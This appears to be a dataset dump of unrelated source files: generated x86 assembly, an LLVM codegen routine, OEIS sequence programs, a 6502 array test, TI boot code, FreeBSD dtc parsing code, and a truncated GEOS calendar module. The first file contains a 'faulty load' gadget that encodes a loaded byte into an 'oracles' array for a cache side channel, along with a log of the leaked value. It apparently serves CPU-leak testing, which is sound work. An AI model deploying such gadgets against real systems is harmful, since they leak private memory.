text
stringlengths
1
1.05M
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x5a79, %rsi lea addresses_D_ht+0x1b54d, %rdi nop nop inc %r8 mov $20, %rcx rep movsw nop nop nop nop nop sub %rbp, %rbp lea addresses_WC_ht+0x1f99, %rsi lea addresses_UC_ht+0x9cc0, %rdi sub $55407, %r12 mov $101, %rcx rep movsl nop nop add $17346, %r8 lea addresses_normal_ht+0x1deb5, %rsi nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm1 vmovups %ymm1, (%rsi) nop nop nop cmp %rdi, %rdi lea addresses_D_ht+0x13b19, %r8 cmp $2990, %rbx movups (%r8), %xmm4 vpextrq $1, %xmm4, %rdi add %rcx, %rcx lea addresses_D_ht+0x13279, %rcx nop nop inc %rsi mov (%rcx), %rbp add %rdi, %rdi lea addresses_WC_ht+0xc005, %rcx nop nop nop nop xor $16799, %r8 mov (%rcx), %edi nop nop add $65066, %r12 lea addresses_D_ht+0x679, %r12 nop nop add $30059, %rbp mov (%r12), %r8d nop nop nop nop xor %rsi, %rsi lea addresses_A_ht+0x1ba19, %rcx nop nop nop add $14265, %rdi vmovups (%rcx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rsi nop nop nop sub $18703, %rdi lea addresses_normal_ht+0x10ae5, %rsi lea addresses_WC_ht+0x1ca79, %rdi nop cmp $27029, %r11 mov $16, %rcx rep movsl nop sub %r8, %r8 lea addresses_normal_ht+0x35d5, %rsi cmp $9002, %r12 movl $0x61626364, (%rsi) xor $6739, %r12 lea addresses_normal_ht+0x144d9, %r11 nop nop nop nop sub %rcx, %rcx mov (%r11), %ebx cmp %rsi, %rsi lea addresses_WT_ht+0x8df9, %r8 nop inc %rdi mov $0x6162636465666768, %rsi movq %rsi, (%r8) nop cmp $47508, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rbp push %rdx push %rsi // Store lea addresses_PSE+0x1da79, %r12 nop nop nop and %rbp, %rbp movw $0x5152, (%r12) nop nop dec %rbp // Store mov $0xdd9, %r12 nop nop nop nop inc %r15 mov $0x5152535455565758, %r14 movq %r14, (%r12) nop nop nop nop and $52077, %r12 // Load lea addresses_WT+0x1da79, %r12 nop nop nop nop nop and %rdx, %rdx mov (%r12), %esi nop nop and %r12, %r12 // Store lea addresses_A+0x19a79, %r15 nop nop nop nop nop and %r12, %r12 movb $0x51, (%r15) dec %rsi // Store lea addresses_D+0x9539, %r15 nop nop and %rsi, %rsi movb $0x51, (%r15) and $50141, %r12 // Load lea addresses_WC+0x279, %r15 nop nop cmp $14933, %r12 movaps (%r15), %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop nop sub $63910, %r15 // Store mov $0xc79, %r14 cmp %r12, %r12 mov $0x5152535455565758, %rdx movq %rdx, %xmm5 vmovups %ymm5, (%r14) nop nop nop nop xor %rsi, %rsi // Store lea addresses_D+0x5a81, %rbp clflush (%rbp) cmp %r12, %r12 mov $0x5152535455565758, %r14 movq %r14, (%rbp) add $28796, %rdx // Faulty Load lea addresses_A+0x19a79, %r11 nop nop nop nop add $54231, %rsi movb (%r11), %dl lea oracles, %r12 and $0xff, %rdx shlq $12, %rdx mov (%r12,%rdx,1), %rdx pop %rsi pop %rdx pop %rbp pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': True, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': True, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
/** * Created by Martin on 12.11.2020. * me@martinforejt.cz * * Author: Martin Forejt */ #include "break.h" #include "codegen.h" namespace mlang { llvm::Value *Break::codeGen(CodeGenContext &context) { llvm::BasicBlock *exitBB = context.getExitBlockFromCurrent(); if (exitBB == nullptr) { Node::printError(location, "Cannot call 'break' here."); context.addError(); return nullptr; } return llvm::BranchInst::Create(exitBB, context.currentBlock()); } }
; A101687: a(n) = Sum_{k=1..n} floor(binomial(n,k)/k). ; Submitted by Christian Krause ; 0,1,2,4,8,14,23,41,73,131,232,418,758,1388,2558,4742,8837,16547,31111,58705,111133,210996,401645,766367,1465416,2807595,5388705,10359733,19946714,38459504,74250895,143524561,277742291,538043338,1043333607,2025040417,3933914770 lpb $0 sub $0,1 add $2,1 mov $3,$0 add $3,$2 bin $3,$2 div $3,$2 add $1,$3 lpe mov $0,$1
; ----------------------------------------------------------------------------- ; Test for array functions under py65mon. ; Martin Heermance <mheermance@gmail.com> ; ----------------------------------------------------------------------------- .word $8000 .org $8000 .outfile "tests/arrayTest.rom" .alias RamSize $7EFF ; default $8000 for 32 kb x 8 bit RAM .alias heap_base $0400 ; The heap starts on page 4. .alias heap_size $4000 ; It's size is 16 KB. .require "../data.asm" .advance $c000 .require "../array.asm" .require "../conio.asm" .require "../heap.asm" .require "../math16.asm" .require "../print.asm" .require "../stack.asm" .require "../string.asm" .require "mockConio.asm" ; Main entry point for the test main: ldx #SP0 ; Reset stack pointer `pushzero jsr mockConIOInit `pushi heap_size `pushi heap_base jsr hinit jsr alloc_test jsr append_test jsr getat_test jsr setat_test jsr delat_test jsr findFirst_test jsr findLast_test jsr hfree ; dealloc array. jsr oneItem_test brk .scope _name: .byte "*** alloc test ***",0 alloc_test: `println _name `pushi $05 jsr arrayAlloc `dup jsr arrayPrint rts .scend .scope _name: .byte "*** append test ***",0 append_test: `println _name `pushi $dead jsr arrayAppend ; Append returns the array pointer! `dup jsr arrayPrint `pushTrue jsr arrayAppend `dup jsr arrayPrint `pushzero jsr arrayAppend ; keep appending to force realloc `pushzero jsr arrayAppend `pushzero jsr arrayAppend `pushzero jsr arrayAppend `dup jsr arrayPrint rts .scend .scope _name: .byte "*** getAt test ***",0 _msg1: .byte "item at ",0 _msg2: .byte " = ",0 getat_test: `println _name `dup `pushi 1 `print _msg1 jsr printtos jsr arrayGetAt `print _msg2 jsr printtosln `drop `dup `pushi 0 `print _msg1 jsr printtos jsr arrayGetAt `print _msg2 jsr printtosln `drop rts .scend .scope _name: .byte "*** setAt test ***",0 _msg1: .byte "item at ",0 _msg2: .byte " = ",0 setat_test: `println _name `pushi $05 * `over `over `dup jsr arraySetAt `dectos `toszero? bne - `drop `dup jsr arrayPrint rts .scend .scope _name: .byte "*** delAt test ***",0 _msg1: .byte "item at ",0 _msg2: .byte " = ",0 delat_test: `println _name `dup `pushi 1 jsr arrayDeleteAt `dup jsr arrayPrint rts .scend .scope _name: .byte "*** findFirst test ***",0 _msg1: .byte "Found 1 at ",0 _msg2: .byte "Found 2 at ",0 _msg3: .byte "Found dead at ",0 findFirst_test: `println _name `pushi 2 jsr arrayAppend `dup jsr arrayPrint `dup `pushi 01 jsr arrayFindFirst `print _msg1 jsr printTosln `drop `dup `pushi 02 jsr arrayFindFirst `print _msg2 jsr printTosln `drop `dup `pushi $dead jsr arrayFindFirst `print _msg3 jsr printTosln `drop rts .scend .scope _name: .byte "*** findLast test ***",0 _msg1: .byte "Found 1 at ",0 _msg2: .byte "Found 2 at ",0 _msg3: .byte "Found dead at ",0 findLast_test: `println _name `dup jsr arrayPrint `dup `pushi 01 jsr arrayFindLast `print _msg1 jsr printTosln `drop `dup `pushi 02 jsr arrayFindLast `print _msg2 jsr printTosln `drop `dup `pushi $dead jsr arrayFindFirst `print _msg3 jsr printTosln `drop rts .scend .scope _name: .byte "*** oneItem test ***",0 _msg1: .byte "Found 1 at ",0 _msg2: .byte "Found 2 at ",0 _msg3: .byte "Found $DEAD at ",0 oneItem_test: `println _name `pushi $05 jsr arrayAlloc `pushi $dead jsr arrayAppend `dup jsr arrayPrint `dup `pushi 01 jsr arrayFindLast `print _msg1 jsr printTosln `drop `dup `pushi $dead jsr arrayFindLast `print _msg3 jsr printTosln `drop rts .scend .require "../vectors.asm"
; A280577: a(n) = eulerphi(n) + floor(n/2). ; Submitted by Jamie Morken(s2) ; 1,2,3,4,6,5,9,8,10,9,15,10,18,13,15,16,24,15,27,18,22,21,33,20,32,25,31,26,42,23,45,32,36,33,41,30,54,37,43,36,60,33,63,42,46,45,69,40,66,45,57,50,78,45,67,52,64,57,87,46,90,61,67,64,80,53,99,66,78 mov $2,$0 add $0,1 div $0,2 seq $2,10 ; Euler totient function phi(n): count numbers <= n and prime to n. add $0,$2
;//########################################################################### ;// ;// FILE: f28004x_codestartbranch.asm ;// ;// TITLE: Branch for redirecting code execution after boot. ;// ;// For these examples, code_start is the first code that is executed after ;// exiting the boot ROM code. ;// ;// The codestart section in the linker cmd file is used to physically place ;// this code at the correct memory location. This section should be placed ;// at the location the BOOT ROM will re-direct the code to. For example, ;// for boot to FLASH this code will be located at 0x80000. ;// ;// In addition, the example f28004x projects are setup such that the codegen ;// entry point is also set to the codestart label. This is done by linker ;// option -e in the project build options. When the debugger loads the code, ;// it will automatically set the PC to the "entry point" address indicated by ;// the -e linker option. In this case the debugger is simply assigning the PC, ;// it is not the same as a full reset of the device. ;// ;// The compiler may warn that the entry point for the project is other then ;// _c_init00. _c_init00 is the C environment setup and is run before ;// main() is entered. The codestart code will re-direct the execution ;// to _c_init00 and thus there is no worry and this warning can be ignored. ;// ;//########################################################################### ;// $TI Release: F28004x Support Library v1.12.00.00 $ ;// $Release Date: Fri Feb 12 18:57:27 IST 2021 $ ;// $Copyright: ;// Copyright (C) 2021 Texas Instruments Incorporated - http://www.ti.com/ ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions ;// are met: ;// ;// Redistributions of source code must retain the above copyright ;// notice, this list of conditions and the following disclaimer. ;// ;// Redistributions in binary form must reproduce the above copyright ;// notice, this list of conditions and the following disclaimer in the ;// documentation and/or other materials provided with the ;// distribution. ;// ;// Neither the name of Texas Instruments Incorporated nor the names of ;// its contributors may be used to endorse or promote products derived ;// from this software without specific prior written permission. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;// $ ;//########################################################################### *********************************************************************** WD_DISABLE .set 1 ;set to 1 to disable WD, else set to 0 .ref _c_int00 .global code_start *********************************************************************** * Function: codestart section * * Description: Branch to code starting point *********************************************************************** .sect "codestart" .retain code_start: .if WD_DISABLE == 1 LB wd_disable ;Branch to watchdog disable code .else LB _c_int00 ;Branch to start of boot._asm in RTS library .endif ;end codestart section *********************************************************************** * Function: wd_disable * * Description: Disables the watchdog timer *********************************************************************** .if WD_DISABLE == 1 .text wd_disable: SETC OBJMODE ;Set OBJMODE for 28x object code EALLOW ;Enable EALLOW protected register access MOVZ DP, #7029h>>6 ;Set data page for WDCR register MOV @7029h, #0068h ;Set WDDIS bit in WDCR to disable WD EDIS ;Disable EALLOW protected register access LB _c_int00 ;Branch to start of boot._asm in RTS library .endif ;end wd_disable .end ;// ;// End of file. ;//
/*- * Copyright (c) 2013 David Chisnall * All rights reserved. * * This software was developed by SRI International and the University of * Cambridge Computer Laboratory under DARPA/AFRL contract (FA8750-10-C-0237) * ("CTSRD"), as part of the DARPA CRASH research programme. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD: soc2013/dpl/head/usr.bin/dtc/input_buffer.cc 248207 2013-02-19 18:28:25Z uqs $ */ #include "input_buffer.hh" #include <ctype.h> #include <limits.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/mman.h> #include <assert.h> #ifndef MAP_PREFAULT_READ #define MAP_PREFAULT_READ 0 #endif namespace dtc { void input_buffer::skip_spaces() { if (cursor >= size) { return; } if (cursor < 0) { return; } char c = buffer[cursor]; while ((c == ' ') || (c == '\t') || (c == '\n') || (c == '\f') || (c == '\v') || (c == '\r')) { cursor++; if (cursor > size) { c = '\0'; } else { c = buffer[cursor]; } } } input_buffer input_buffer::buffer_from_offset(int offset, int s) { if (s == 0) { s = size - offset; } if (offset > size) { return input_buffer(); } if (s > (size-offset)) { return input_buffer(); } return input_buffer(&buffer[offset], s); } bool input_buffer::consume(const char *str) { int len = strlen(str); if (len > size - cursor) { return false; } else { for (int i=0 ; i<len ; ++i) { if (str[i] != buffer[cursor + i]) { return false; } } cursor += len; return true; } return false; } bool input_buffer::consume_integer(long long &outInt) { // The first character must be a digit. Hex and octal strings // are prefixed by 0 and 0x, respectively. if (!isdigit((*this)[0])) { return false; } char *end=0; outInt = strtoll(&buffer[cursor], &end, 0); if (end == &buffer[cursor]) { return false; } cursor = end - buffer; return true; } bool input_buffer::consume_hex_byte(uint8_t &outByte) { if (!ishexdigit((*this)[0]) && !ishexdigit((*this)[1])) { return false; } outByte = (digittoint((*this)[0]) << 4) | digittoint((*this)[1]); cursor += 2; return true; } input_buffer& input_buffer::next_token() { int start; do { start = cursor; skip_spaces(); // Parse /* comments if (((*this)[0] == '/') && ((*this)[1] == '*')) { // eat the start of the comment ++(*this); ++(*this); do { // Find the ending * of */ while ((**this != '\0') && (**this != '*')) { ++(*this); } // Eat the * ++(*this); } while ((**this != '\0') && (**this != '/')); // Eat the / ++(*this); } // Parse // comments if (((*this)[0] == '/') && ((*this)[1] == '/')) { // eat the start of the comment ++(*this); ++(*this); // Find the ending * of */ while (**this != '\n') { ++(*this); } // Eat the \n ++(*this); } } while (start != cursor); return *this; } void input_buffer::parse_error(const char *msg) { int line_count = 1; int line_start = 0; int line_end = cursor; for (int i=cursor ; i>0 ; --i) { if (buffer[i] == '\n') { line_count++; if (line_start == 0) { line_start = i+1; } } } for (int i=cursor+1 ; i<size ; ++i) { if (buffer[i] == '\n') { line_end = i; break; } } fprintf(stderr, "Error on line %d: %s\n", line_count, msg); fwrite(&buffer[line_start], line_end-line_start, 1, stderr); putc('\n', stderr); for (int i=0 ; i<(cursor-line_start) ; ++i) { putc(' ', stderr); } putc('^', stderr); putc('\n', stderr); } void input_buffer::dump() { fprintf(stderr, "Current cursor: %d\n", cursor); fwrite(&buffer[cursor], size-cursor, 1, stderr); } mmap_input_buffer::mmap_input_buffer(int fd) : input_buffer(0, 0) { struct stat sb; if (fstat(fd, &sb)) { perror("Failed to stat file"); } size = sb.st_size; buffer = (const char*)mmap(0, size, PROT_READ, MAP_PREFAULT_READ, fd, 0); if (buffer == 0) { perror("Failed to mmap file"); } } mmap_input_buffer::~mmap_input_buffer() { if (buffer != 0) { munmap((void*)buffer, size); } } stream_input_buffer::stream_input_buffer() : input_buffer(0, 0) { int c; while ((c = fgetc(stdin)) != EOF) { b.push_back(c); } buffer = b.data(); size = b.size(); } } // namespace dtc
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% (c) Copyright Geoworks 1996 -- All Rights Reserved GEOWORKS CONFIDENTIAL PROJECT: PC GEOS MODULE: Calendar\Main FILE: mainEventsContent.asm AUTHOR: Jason Ho, Dec 11, 1996 METHODS: Name Description ---- ----------- MSG_VIS_DRAW Draw the event list in window next to confirm dialog. MSG_CALENDAR_EVENTS_LIST_CONTENT_SET_GSTRING Set the gstring associated with the content, and resize myself according to bound of gstate. MSG_VIS_CLOSE When closing, destroy the gstate associated with this content. ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- kho 12/11/96 Initial revision DESCRIPTION: Code for CalendarEventsListContentClass. This is a content that shows (statically) the events of the day, when appointment confirm dialog comes up. $Id: mainEventsContent.asm,v 1.1 97/04/04 14:48:31 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if HANDLE_MAILBOX_MSG ; ; There must be an instance of every class in a resource. ; idata segment CalendarEventsListContentClass idata ends MailboxCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalendarEventsListContentVisDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the event list in window next to confirm dialog. CALLED BY: MSG_VIS_DRAW PASS: *ds:si = CalendarEventsListContentClass object ds:di = CalendarEventsListContentClass instance data ds:bx = CalendarEventsListContentClass object (same as *ds:si) es = segment of CalendarEventsListContentClass ax = message # cl = DrawFlags: DF_EXPOSED set if GState is set to update window ^hbp = gstate to draw through. RETURN: nothing GState = The graphics state must be returned unchanged except for pen position, colors -- can be destroyed. DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kho 12/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalendarEventsListContentVisDraw method dynamic \ CalendarEventsListContentClass, MSG_VIS_DRAW .enter Assert gstate, bp ; ; GString to be drawn. ; mov si, ds:[di].CELCI_gsHandle ; ; Move gstate to something useful ; mov di, bp ; di = GState clr ax, bx, dx ; coordinates to ; draw, flags call GrDrawGString .leave ret CalendarEventsListContentVisDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalendarEventsListContentSetGString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the gstring associated with the content, and resize myself according to bound of gstate. CALLED BY: MSG_CALENDAR_EVENTS_LIST_CONTENT_SET_GSTRING PASS: *ds:si = CalendarEventsListContentClass object ds:di = CalendarEventsListContentClass instance data ds:bx = CalendarEventsListContentClass object (same as *ds:si) es = segment of CalendarEventsListContentClass ax = message # cx = handle of gstring block dx = gstring chunk handle RETURN: nothing DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: Store the gstate handle to instance data. Figure out the bounds to gstring, and set the bounds of self. If the bound overflows, the default bound of the content is 600 (CONFIRM_EVENT_LIST_HEIGHT), and that's all the user can scroll. REVISION HISTORY: Name Date Description ---- ---- ----------- kho 12/13/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalendarEventsListContentSetGString method dynamic \ CalendarEventsListContentClass, MSG_CALENDAR_EVENTS_LIST_CONTENT_SET_GSTRING uses cx, dx .enter ; ; Set instance data. ; Assert handle, cx Assert gstate, dx mov ds:[di].CELCI_gsBlock, cx mov ds:[di].CELCI_gsHandle, dx ; ; Find the bound of gstring. GrGetGStringBounds documentation ; seems to be wrong, and it wants gstate handle to be in si. ; push si mov si, dx clr di, dx clr dx ; no GSControl call GrGetGStringBounds ; c set if overflow, ; else (ax,bx), ; (cx,dx) <- bounds pop si jc quit ; ; Set the vis size. ; clr cx ; don't want ; to set right bound call VisSetSize quit: .leave ret CalendarEventsListContentSetGString endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalendarEventsListContentVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: When closing, destroy the gstate associated with this content. CALLED BY: MSG_VIS_CLOSE PASS: *ds:si = CalendarEventsListContentClass object ds:di = CalendarEventsListContentClass instance data ds:bx = CalendarEventsListContentClass object (same as *ds:si) es = segment of CalendarEventsListContentClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kho 12/14/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalendarEventsListContentVisClose method dynamic \ CalendarEventsListContentClass, MSG_VIS_CLOSE ; ; First destroy the gstring, and free the gstring block. ; push si mov bx, ds:[di].CELCI_gsBlock mov si, ds:[di].CELCI_gsHandle clr di mov dl, GSKT_KILL_DATA call GrDestroyGString call MemFree ; bx destroyed pop si ; ; Call super. ; mov di, offset 